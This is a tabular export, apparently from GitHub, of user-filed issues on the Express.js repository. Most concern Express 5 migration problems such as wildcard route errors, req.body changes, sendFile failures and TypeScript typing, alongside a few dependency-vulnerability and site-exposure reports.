expressjs/express,3097816750,wildcard route isn't working,"
## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""^5.1.0""
}
```
**Platform**:
- 
Windows: Microsoft Windows NT 10.0.26100.0 x64

**Node.js version**:
v22.15.0

 i am receving this err

```
[nodemon] restarting due to changes...
[nodemon] starting `tsx ./src/index.ts`
C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:153
      throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^


TypeError: Missing parameter name at 11: https://git.new/pathToRegexpError
    at name (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:153:13)
    at lexer (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:171:21)
    at lexer.next (<anonymous>)
    at Iter.peek (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:188:32)
    at Iter.tryConsume (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:195:24)
    at Iter.text (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:213:26)
    at consume (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:285:23)
    at parse (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:320:18)
    at <anonymous> (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:503:40)
    at Array.map (<anonymous>)

Node.js v22.15.0
[nodemon] app crashed - waiting for file changes before starting...
```
my code:
```import { toNodeHandler } from ""better-auth/node"";
im... [TRUNCATED]",bug,2025-05-28T15:44:21Z,2025-05-28T15:50:50Z,2
expressjs/express,3087163521,Lack of Type Safety When Extending Express API with Custom Response Methods,"Hi Express community,

I'm exploring the feature of extending the Express API, as documented here, to add custom response methods. While this is a powerful feature, I've encountered what appears to be a lack of type safety when implementing these custom methods, particularly when using TypeScript.

For example, I've defined a custom `AuthUser` type:

```ts
type AuthUser = {
  id: number;
  name: string;
};
```

And extended the `express.Response` object with a custom success method:

```ts
// express.d.ts
/* eslint-disable ts/consistent-type-definitions */

import type { Send } from 'express';

declare global {
  export type Success<T = any> = {
    code: number;
    data: T;
    message: string;
  };
  export namespace Express {
    export interface Response<ResBody = any> {
      respond: (body: ResBody) => ReturnType<Send<ResBody>>;
      success: (code: number, message: string, data: ResBody extends Success<infer T> ? T : never) => ReturnType<Send<ResBody>>;
    }
  }
}
```

```ts
// app.ts
import type { Request, Response } from 'express';

import express from 'express';

const app = express();

type AuthedUser = {
  id: number;
  name: string;
};

app.get('/', (_req: Request, res: Response<Success<AuthedUser>>) => {
  console.warn('Hello World!');
  // this should be an error but it's not
  res.success(200, 'success', 1);
  // this is working fine
  res.send({
    code: 200,
    data: 1,
    message: 'success',
  });
});

app.response.respond = function (body: any) {
  r... [TRUNCATED]",question,2025-05-23T18:09:58Z,2025-05-24T01:41:22Z,0
expressjs/express,3078840147,"Doesn't return a file with special characters %23, %2A, etc.","Doesn't return a file with special characters %23, %2A, etc. I'm working on a Node.js project to download files with names like: normal_00dc038225ac0372_cpd_%2A%23%2A00936154844019_19619_19119_18-53-44_2025-05-20-019B0282-10063123-00000001.mp3

and Express can't find it.

Incoming request: GET /audios/2025/05/21/normal_00dc038225ac0372_cpd_%2A%23%2A00936154844019_19619_19119_18-53-44_2025-05-20-019B0282-10063123-00000001.mp3

and returns 404 notfound, the file exists at the correct path.",,2025-05-21T04:17:01Z,2026-01-17T03:09:48Z,1
expressjs/express,3073287558,"app.get(""*"")    not working since version 5","im updating all my packages. now express is crashing for 

express code

```

	app.use(""/"", express.static(""www""));

	app.get(""*"", function(req, res){
		res.sendFile(path.join(__dirname, ""./www/index.html""));
	});
```

with 


error
```
  throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
```


could find out why. was working fine in v4. didnt found anything in https://expressjs.com/en/guide/migrating-5.html

for that.

how can i make that work again?



### Environment information

```
{
  ""dependencies"": {
    ""body-parser"": ""^2.2.0"",
    ""busboy"": ""^1.6.0"",
    ""canvas"": ""^3.1.0"",
    ""cluster"": ""^0.7.7"",
    ""compression"": ""^1.8.0"",
    ""connect-busboy"": ""^1.0.0"",
    ""connect-mongodb-session"": ""^5.0.0"",
    ""cors"": ""^2.8.5"",
    ""csvtojson"": ""^2.0.10"",
    ""express"": ""^5.1.0"",
    ""express-session"": ""^1.18.1"",
    ""fast-xml-parser"": ""^5.2.3"",
    ""google-polyline"": ""^1.0.3"",
    ""haversine-distance"": ""^1.2.3"",
    ""json-2-csv"": ""^5.5.9"",
    ""metar-taf-parser"": ""^9.1.2"",
    ""moment"": ""^2.30.1"",
    ""moment-timezone"": ""^0.5.48"",
    ""mongoose"": ""^8.15.0"",
    ""nodemailer"": ""^7.0.3"",
    ""qrcode"": ""^1.5.4"",
    ""request-promise"": ""^4.2.6"",
    ""speakeasy"": ""^2.0.0"",
    ""uuid"": ""^11.1.0"",
    ""xmlbuilder"": ""^15.1.1""
  }
}

```
",question,2025-05-19T10:07:06Z,2025-05-19T10:08:20Z,0
expressjs/express,3071630181,"Form data is returned in as strings, not in correct TS types","I have this complicated form and I send data from it.
```HTML
<form action=""/oglasi/postavka"" method=""post"">
  <fieldset>
    <legend>Informacije o zgradi</legend>
    <div>
      <label for=""address"">Adresa:</label>
      <input type=""text"" name=""building[address]"" id=""address"" maxlength=""255"" required>
    </div>
    <div>
      <label for=""constructedIn"">Izgrađen:</label>
      <input type=""number"" name=""building[constructedIn]"" id=""constructedIn"" required>
    </div>
    <div>
      <label for=""numOfFloors"">Spratnost:</label>
      <input type=""number"" name=""building[numOfFloors]"" id=""numOfFloors"" required>
    </div>
    <div>
      <label for=""hasParking"">Parking:</label>
      <input type=""checkbox"" name=""building[hasParking]"" id=""hasParking"">
    </div>
    <div>
      <label for=""hasGarage"">Garaža:</label>
      <input type=""checkbox"" name=""building[hasGarage]"" id=""hasGarage"">
    </div>
    <div>
      <label for=""hasElevator"">Lift:</label>
      <input type=""checkbox"" name=""building[hasElevator]"" id=""hasElevator"">
    </div>
    <div>
      <label for=""hasCctv"">Video nadzor:</label>
      <input type=""checkbox"" name=""building[hasCctv]"" id=""hasCctv"">
    </div>
    <div>
      <label for=""hasIntercom"">Interfon:</label>
      <input type=""checkbox"" name=""building[hasIntercom]"" id=""hasIntercom"">
    </div>
  </fieldset>

  <fieldset>
    <legend>Informacije o stanu</legend>
    <div>
      <label for=""location"">Lokacija:</label>
      <input type=""text"" name=""apartmen... [TRUNCATED]",,2025-05-18T10:26:52Z,2025-06-28T01:22:03Z,4
expressjs/express,3050875096,POST handler executed instead of GET handler,"I have sent the full code below. To reproduce the strange behavior:
Run both the server and the client, send a request throw the form , check that you are sending a GET request using developer tools then, on the server check that the app.post handler is being executed. Note that there ia a problem in the form, it is not executing the js script because of a missing property in the button (type=""button""), so the type of the button is by default ""submit"" and the request that is being sent is a GET request sending the data on the URL query part. But why is the server executing the app.post handler?

## Environment information

**Version**:

  ""dependencies"": {
    ""cors"": ""^2.8.5"",
    ""dotenv"": ""^16.5.0"",
    ""express"": ""^5.1.0"",
    ""mysql2"": ""^3.14.0"",
    ""sequelize"": ""^6.37.7""
  }

**Platform**:
Microsoft Windows NT 10.0.26100.0
x64

**Node.js version**:
v22.14.0

**Any other relevant information**:
Full code is here:
Description: a server app and a client app, just add a MySQL server connection details or simply remove connection to DB as it is not relevant here:
https://drive.google.com/file/d/1P-50C95h5RAMYarO-scfUHaLLPq1mmZF/view?usp=sharing",bug,2025-05-09T05:17:25Z,2025-05-11T05:49:58Z,4
expressjs/express,3036775692,array-flatten,"Hi,

I deployed my next.js webapp in azure web app and I have an issue in the log when I open the url:

> Cannot find module 'array-flatten'Require stack:- C:\home\site\wwwroot\node_modules\express\lib\router\route.js- C:\home\site\wwwroot\node_modules\express\lib\router\index.js- C:\home\site\wwwroot\node_modules\express\lib\application.js- C:\home\site\wwwroot\node_modules\express\lib\express.js- C:\home\site\wwwroot\node_modules\express\index.js- C:\home\site\wwwroot\server.js- C:\Program Files (x86)\iisnode\interceptor.jsat Module._resolveFilename (node:internal/modules/cjs/loader:1225:15)at Module._load (node:internal/modules/cjs/loader:1051:27)at Module.require (node:internal/modules/cjs/loader:1311:19)at Module.patchedRequire (C:\PROGRA~2\SITEEX~1\NODEAP~1\211~1.4\nodejs\node_modules\diagnostic-channel\dist\src\patchRequire.js:16:46)at Hook._require.Module.require (C:\PROGRA~2\SITEEX~1\NODEAP~1\211~1.4\nodejs\node_modules\require-in-the-middle\index.js:167:34)at require (node:internal/modules/helpers:179:18)at Object.<anonymous> (C:\home\site\wwwroot\node_modules\express\lib\router\route.js:17:15)at Module._compile (node:internal/modules/cjs/loader:1469:14)at Module._extensions..js (node:internal/modules/cjs/loader:1548:10)at Module.load (node:internal/modules/cjs/loader:1288:32)Application has thrown an uncaught exception and is terminated:Error: Cannot find module 'array-flatten'Require stack:- C:\home\site\wwwroot\node_modules\express\lib\router\route.js- C:\home\si... [TRUNCATED]",awaiting more info,2025-05-02T20:21:50Z,2025-05-15T19:42:19Z,1
expressjs/express,3035936895,Performance degradation in node v22,"Hello everyone, 

I have a question regarding express v4/5 performance inconsistency running on node v18 vs node v22

Images below are from a bare minimum express setup code attached below just `nvm use` in each then `npm run start` these are samples but I run these tests over 10 times with different time frames etc and v22 is consistently showing this behavior

<img width=""786"" alt=""Image"" src=""https://github.com/user-attachments/assets/c3a646d5-392d-4504-89a5-e65e77857bd4"" />

node v22 ( 15.3k req/s )

<img width=""850"" alt=""Image"" src=""https://github.com/user-attachments/assets/e0896d9d-7dfe-4870-9cdd-300bc7145b9d"" />

node v18 ( 17.3k req/s )


so the overall performance is not degraded by that much but the per request latency had a major impact, slowest in v18 is 0.07s which slowest request in v22 is 3s u can also see that that difference in the latency histogram, we have also noticed that in a recent upgrade in production where health check is failing under high load, while the same build using v18 is surviving the same load

anyone is experiencing the same or have an idea what I'm actually doing wrong ?

Thanks,

Code used for this test ( full code below )

```
// server.js - Node.js 22 Version
import express from 'express';

const app = express();
const port = process.env.PORT || 3000;

app.use(express.json());

app.get('/api/healthz', (req, res) => {
  res.status(200).send('ok');
});

app.use((err, req, res, next) => {
  console.error('Error:', err);
  res.status(500)... [TRUNCATED]",question,2025-05-02T12:41:41Z,2025-05-02T17:08:08Z,0
expressjs/express,3030576300,"TypeError: Unexpected ( at 9, expected END: https://git.new/pathToRegexpError","Hey devs I am new to express js and  I don't know some stuff,.

How could i fix this 
app.get(`/newpage(.html)?`, (req, res) => {
  res.sendFile(path.join(__dirname, ""views"", ""newpage.html""));
});

it showing me error 
Nodejs\node_modules\path-to-regexp\dist\index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected ( at 9, expected END: https://git.new/pathToRegexpError
    at Iter.consume (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:123:15)
    at consume (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:179:16)
    at parse (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:183:20)
    at E:\Nodejs\node_modules\path-to-regexp\dist\index.js:294:74
    at Array.map (<anonymous>)
    at pathToRegexp (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:294:25)
    at Object.match (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:264:30)
    at matcher (E:\Nodejs\node_modules\router\lib\layer.js:86:23)
    at new Layer (E:\Nodejs\node_modules\router\lib\layer.js:93:62)
    at Function.route (E:\Nodejs\node_modules\router\index.js:428:17)

",question,2025-04-30T08:43:17Z,2025-04-30T13:24:20Z,2
expressjs/express,3024339035,Missing next() in Middleware Causes Request to Get Stuck,"---
name: Missing `next()` in Middleware Causes Request to Get Stuck
about: Report an issue where missing `next()` in middleware causes requests to get stuck.
---

## Description
In Express, if the `next()` function is not called in a middleware, the request will get stuck because Express doesn't know how to proceed to the next middleware or route handler. This can lead to issues where requests hang indefinitely, as no response is sent to the client.

## Steps to Reproduce:
1. Create a middleware function that does not call `next()` or send a response.
2. Use the middleware in an Express app.
3. Make a request to the server.
4. Observe that the request is stuck, and no further middleware or route handlers are executed.

### Example Code:
```javascript
app.use((req, res) => {
  // Middleware without `next()`
  console.log('Middleware without next()');
  // No response is sent, and no next() is called, causing the request to get stuck.
});
",,2025-04-28T09:37:50Z,2025-04-30T15:16:00Z,4
expressjs/express,3011876034,What happened to `express.text()`,"My app was using [`express.text()`](https://expressjs.com/en/4x/api.html#express.text) with Express v4.21,1 to increase the upload limit for `app.post()` and was recently updated to support Express v5.1.0

Now I see that `express.text()` is neither documented in the [5.x API](https://expressjs.com/en/5x/api.html) or mentioned as being removed in the [Moving to Express 5](https://expressjs.com/en/guide/migrating-5.html) guide.

**_Is it still possible to use `express.text()` with Express 5 or is there a different / better approach?_**
It seems that [express/lib/express.js](https://github.com/expressjs/express/blob/f9954dd317a1b534e62a5ae3aa7f52f3582b8881/lib/express.js#L80) still exposes bodyparser.text as express.text.",question,2025-04-22T18:57:01Z,2025-04-26T03:32:48Z,3
expressjs/express,3006884225,app.listen does not throw on port in use - this seems an error and different from previous version ?,"## Environment information

**Version**:
```json
""dependencies"": {
    ""express"": ""^5.0.1"",
}
```

**Platform**:
Microsoft Windows NT 10.0.19045.0
x64

**Node.js version**:
v20.14.0

## What steps will reproduce the bug?
```
import express, { Express, Request, RequestHandler, Response } from 'express';

const port = 3000;

const app = express();

app.listen(port, () => {

    console.log(`listening on port ${port}`);

    try {

        app.listen(port, () => {
            console.log(`how did we get here ???`);
        });

    } catch(e) {
        // should have thrown ? 
        console.error(e);
    }

});
```
",question,2025-04-20T08:20:31Z,2025-04-20T22:46:44Z,2
expressjs/express,3006288817,"Please open ""set property query"" again.","Hi
I like Expressjs with middleware so much.
But with Expressjs 5, i cannot overwrite query.
Because i use middleware to overrite body, query & params before controller.
This is my case to use.

![Image](https://github.com/user-attachments/assets/e61ec752-c74e-42ac-a3da-bfc7764c184c)",,2025-04-19T08:12:40Z,2025-04-27T08:27:47Z,5
expressjs/express,3005423114,"Express 5: Route wildcard ""(.*)""  throw new TypeError in path-to-regexp","## Environment information

**Version**:
```
json
""dependencies"": {
  ""express"": ""^5.1.0""
}
```

**Platform**:
Linux vm188 5.15.143-1-pve #1 SMP PVE 5.15.143-1 (2024-02-08T18:12Z) x86_64 GNU/Linux

**Node.js version**:
v23.11.0

**Any other relevant information**:
path-to-regexp (included in Express 5)
Reproducible in minimal test case

## What steps will reproduce the bug?
When using a wildcard route (.*) in Express 5, the server crashes with:

```
const express = require('express');
const app = express();
app.get('(.*)', (req, res) => res.send('Wildcard route'));
app.listen(3000);
```

Console Error is:

```
/srv/nodejs/express5-wildcard-test/node_modules/path-to-regexp/dist/index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
```",bug,2025-04-18T17:31:43Z,2025-04-18T19:11:01Z,3
expressjs/express,3005107581,Github tag naming,"I noticed that with the release of 5.1.0 the github tag was labeled `v5.1.0` which is different from how version 4 was tagged.  Also there isn't any real consistency in the version labels for version 5.

We have nightly jobs that get the latest version number from npm and then use that to pull this repo so we can test it on our platforms.  It has been recently failing because of the labelling.  I'm fine with updating our code to use the `v` prefix, i just wanted to know if it will be consistent in the future?
","question,tc agenda,top priority",2025-04-18T14:46:44Z,2025-04-20T14:32:31Z,6
expressjs/express,3001885340,`logError` swallows error details (such as `cause`),"Express configures finalhandler’s `onError` function in [application.js:156](https://github.com/expressjs/express/blob/master/lib/application.js#L156) to call [logError](https://github.com/expressjs/express/blob/master/lib/application.js#L615), which basically calls `console.error(err.stack || err.toString())`.

Some years ago logging `err.stack` was the only way to print out the error message and stack trace at once, as logging just `err` would miss some things (I don’t remember what). This has changed and nowadays it seems to be the other way round.

For example, there is now the [`Error.cause`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause) property allowing to specify a nested error. `console.log(new Error(""outer"", { cause: new Error(""inner"") }))` prints the nested error, while `console.log(new Error(""outer"", { cause: new Error(""inner"") }).stack)` misses it.

Async stack traces might be another example, although I couldn’t find a good way to test this.

In my concrete case, I am using Sequelize and an error occurred. Express basically logged the error as `Error:` with a stack trace that was not very helpful. After some investigation, I found out that logging the error object itself rather than its `stack` property reveals tons of information about the error that were otherwise missing. It seems that Sequelize errors contain nested errors in the `parent` and `original` properties, and those are logged as well when using `conso... [TRUNCATED]",bug,2025-04-17T09:02:05Z,2026-06-15T20:36:44Z,6
expressjs/express,2998802722,5.1.0 Throws error on route with a parameter in it,"
```
cory@redbarchetta[03:41:13]~/.../Projects/YoctoVideo/backend$ npm run dev

> backend@0.0.1 dev
> npx dotenvx run -f .env.development -f .env -- node ./src/index.js

[dotenvx@1.38.4] injecting env (9) from .env.development, .env
/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
                  ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:183:20)
    at /home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)

Node.js v23.11.0
Com... [TRUNCATED]",,2025-04-16T07:56:36Z,2025-07-11T23:59:18Z,8
expressjs/express,2990525672,v5 sendFile fails with NotFoundError,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.1.0
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:  Linux 6.14.0 (Arch) (was also reproduced by our users on multiple Linux distros
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: 22.14.0
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?

Launching the appImage version of Karaoke Mugen, the sendFile method errors out with

```
NotFoundError: Not Found
    at createHttpError (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:861:12)
    at SendStream.error2 [as error] (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:168:31)
    at SendStream.pipe (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:468:14)
    at sendfile (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/express/lib/response.js:1000:8)
    at ServerResponse.sendFile ... [TRUNCATED]","bug,require-triage",2025-04-12T15:18:10Z,2025-04-12T16:03:01Z,4
expressjs/express,2982559695,app.listen error attribute not found,"**app.listen**

In Express 5, the app.listen method will invoke the user-provided callback function (if provided) when the server receives an error event. In Express 4, such errors would be thrown. This change shifts error-handling responsibility to the callback function in Express 5. If there is an error, it will be passed to the callback as an argument. For example:

```
const server = app.listen(8080, '0.0.0.0', (error) => {
  if (error) {
    throw error // e.g. EADDRINUSE
  }
  console.log(`Listening on ${JSON.stringify(server.address())}`)
})
```

```
'error' is declared but its value is never read.ts(6133)
No overload matches this call.
  Overload 1 of 6, '(port: number, hostname: string, backlog: number, callback?: (() => void) | undefined): Server<typeof IncomingMessage, typeof ServerResponse>', gave the following error.
    Argument of type '(error: any) => Promise<void>' is not assignable to parameter of type 'number'.
  Overload 2 of 6, '(port: number, hostname: string, callback?: (() => void) | undefined): Server<typeof IncomingMessage, typeof ServerResponse>', gave the following error.
    Argument of type '(error: any) => Promise<void>' is not assignable to parameter of type '() => void'.
      Target signature provides too few arguments. Expected 1 or more, but got 0.ts(2769)
'error' is defined but never used.eslint[@typescript-eslint/no-unused-vars](https://typescript-eslint.io/rules/no-unused-vars)
Parameter 'error' implicitly has an 'any' type.ts(7006)


  ... [TRUNCATED]",question,2025-04-09T11:46:16Z,2025-04-09T12:31:59Z,4
expressjs/express,2982357723,res.redirect cannot carry the request header I set,![Image](https://github.com/user-attachments/assets/91c14e66-f7ce-4046-9b14-df73beda90f2),question,2025-04-09T10:22:37Z,2025-04-11T14:05:06Z,3
expressjs/express,2977066560,TypeError: Missing parameter name,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

Error while server client as static in express 5.0.1 and 5.1.0. for 4.21.2 working fine

```bash
shivams@shivam MINGW64 ~/Desktop/my-projects/blog-app/server (main)
$ node --run start
C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
                  ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:73:19)
    at lexer (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:106:38)
    at Iter.tryConsume (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:112:28)
    at Iter.text (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:128:30)
    at consume (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:152:29)
    at parse (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-... [TRUNCATED]",bug,2025-04-07T14:29:49Z,2025-04-07T14:35:54Z,2
expressjs/express,2970315811,Express 5.1: req.body is `undefined` when using express.json() for requests that do not have a request body,"Simply put, with express 5.1 req.body is `undefined` when not explicitly including a request body. This is unexpected! In express 4.x, req.body is guaranteed to be at least `{}` even when the request body is missing.

# Express 5.1 Bug Report: express.json() Middleware Body Initialization

## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""5.1.0""  // Broken behavior
  ""express"": ""4.21.2"" // Working behavior
}
```

**Platform**:
```bash

$ uname -a
 24.2.0 Darwin Kernel Version 24.2.0: Fri Dec  6 18:40:14 PST 2024; root:xnu11215.61.5~2/RELEASE_ARM64_T8103 arm64
```

**Node.js version**:
```bash
$ node -v
v22.9.0
```

## What steps will reproduce the bug?

1. Create minimal Express server:
```javascript
const express = require('express');
const app = express();

app.use(express.json());

app.post('/test', (req, res) => {
  console.log('Body:', req.body);
  res.json({ receivedBody: req.body });
});

app.listen(3000, () => console.log('Server running on port 3000'));
```

2. Send POST request with no body:
```bash
$ npm install express@5
$ curl -X POST http://localhost:3000/test
Server Output: `Body: undefined`
$ curl -X POST http://localhost:3000/test -H ""Content-Type: application/json""
Server Output: `Body: undefined`

$ npm install express@4
$ curl -X POST http://localhost:3000/test
Server Output: `Body: {}`
$ curl -X POST http://localhost:3000/test -H ""Content-Type: application/json""
Server Output: `Body: {}`
```

3. Observe behavior:
- Express 4... [TRUNCATED]",,2025-04-03T18:01:56Z,2025-04-23T14:43:20Z,10
expressjs/express,2962090824,TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: [v5.1.0](https://github.com/expressjs/express/releases/tag/v5.1.0)

**Platform**: Linux 6.8.0-1021-aws 23~22.04.1-Ubuntu SMP Tue Dec 10 16:50:46 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

**Node.js version**: v16.20.2

**Any other relevant information**: N/A

## What steps will reproduce the bug?

```bash
# Installing the latest express cause the issue
npm install express
```
then throws error
```bash
TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError
    at name (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:183:20)
    at /var/www/<project>/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)
/var/www/<project>/node_modules/path-to-... [TRUNCATED]",awaiting more info,2025-04-01T03:09:19Z,2025-08-23T01:29:23Z,34
expressjs/express,2943531510,Public Accessibility of package.json and package-lock.json Files,"**I noticed that the package.json and package-lock.json files are publicly accessible on expressjs.com.. This could potentially expose metadata about project dependencies and their versions, allowing attackers to identify vulnerabilities.**

Steps to Reproduce:

Navigate to expressjs.com..

Append /package.json or /package-lock.json to the URL (e.g., https://expressjs.com/package.json).

Observe the files being displayed in the browser.

Expected Behavior: These files should not be accessible publicly, as they can reveal dependency information that might be exploited.

Actual Behavior: The package.json and package-lock.json files are visible and downloadable via the URL.

Potential Risks:

Attackers may identify vulnerable or outdated dependencies.

This could lead to exploitation of security flaws.",,2025-03-24T14:55:41Z,2025-03-24T15:08:58Z,3
expressjs/express,2931043385,vulnerability report (severity: 7.5),"# Dependency Hierarchy:

express-1.1.1.tgz (Root Library)
  multer-1.4.4.tgz
    busboy-0.2.14.tgz
      ❌ dicer-0.2.5.tgz (Vulnerable Library)

# Vulnerability Details

This affects all versions of package dicer. A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

Publish Date: 2022-05-20
",bug,2025-03-19T09:20:42Z,2025-03-19T12:13:26Z,3
expressjs/express,2927317029,Operational issues with express dependencies.,"Hi Team,

I wanted to point out that Black Duck is flagging operational vulnerabilities with express. Please update the dependency packages to the latest versions. Refer the attached PDF.

Any updates or plans for future development would be greatly appreciated.

Thanks",awaiting more info,2025-03-18T06:24:18Z,2025-03-27T23:59:44Z,6
expressjs/express,2922688453,Throw when the path is undefined in res.redirect.,"I think it would make sense to throw an error when the path is undefined in res.redirect. The current behavior redirects to /undefined, which I wouldn't consider very intuitive.

This functionality would be a breaking change, so it could be a candidate for Express 6. What do you all think?","discuss,ideas,6.x",2025-03-16T01:22:33Z,2025-04-11T14:16:30Z,6
expressjs/express,2905099017,Cannot get route-params from nested router,"<!-- Please provide as much detailed information about your request as you can, specifically:

- The use case it helps solve and goal of the new feature
- Example code for how you would use or interact with the feature
- The expected behavior, in as much details as you can provide
- Do you want to work on this feature yourself? Would to look for help opening the PR? Or are you asking for others to work on the PR?
-->
I think express shoud allow us to get route-params from nested router.

Currently, the way like below is invalid:

```javascript
import express,{ Router } from 'express';

const app=express();
const router=Router();

const testHandler=(req,res)=>{
    const {id}=req.params;
    if(!id){
        res.send(""Failed."");
        return;
    }
    res.send(""id:""+id);
}

router.use('/',testHandler);

//In this case, testHandler can get req.params.id
app.use('/test/:id',testHandler);
//In this case, testHandler which called from router cannot get req.params.id
app.use('/test2/:id',router);

app.listen(8000,()=>{
    console.log(""App is Running at http://localhost:8000."");
})
```
result:
```console
curl http://localhost:8000/test/some-id

...
Content           : id:some-id
...

curl http://localhost:8000/test2/some-id

...
Content           : Failed.
...
```
For other way, we can use router.params():
```javascript
//...
const testHandler=(req,res)=>{
    const {id}=req.params;
    if(!id){
        - res.send(""Failed."");
        + //this works good.
        + _id=req.id;
  ... [TRUNCATED]","question,require-triage",2025-03-09T00:22:10Z,2025-03-11T00:11:30Z,3
expressjs/express,2885691956,Support custom HTTP Methods,"When using an Express as a Rest server, standard HTTP method are sufficient for CRUD operation, but for more business methods, existing methods are not sufficient and using post for everything is not enough accurate.

Search and report methods are great extensions and very useful even for crud.

Express design allows adding new http methods, but more like hacking than anything else. Cans you please add such features as initialization options ?

thank you",,2025-02-27T21:57:35Z,2025-03-04T13:56:03Z,2
expressjs/express,2874165121,Express performance issues,"I have created a simple example of a simple node http get vs express GET and end up with a severe performance drop.
Is this expected or is there a bug in the code?
[https://github.com/Strauteka/express-performance-drop](https://github.com/Strauteka/express-performance-drop)",question,2025-02-24T08:18:12Z,2025-02-25T13:54:06Z,2
expressjs/express,2873092221,ERROR:- TS2769: No overload matches this call.,"I'm trying to use an error-handling middleware with Express and TypeScript, but I'm getting a TypeScript error:

```typescript
I'm trying to use an error-handling middleware with Express and TypeScript, but I'm getting a TypeScript error:

```typescript
const errorHandler = (err: any, req: Request, res: Response, next: NextFunction) => {
    res.status(500).json({ error: 'Something went wrong!' });
};

app.use(errorHandler); // Error occurs here

And the Error Message is:-
src/app.ts:30:9 - error TS2769: No overload matches this call.
  The last overload gave the following error.
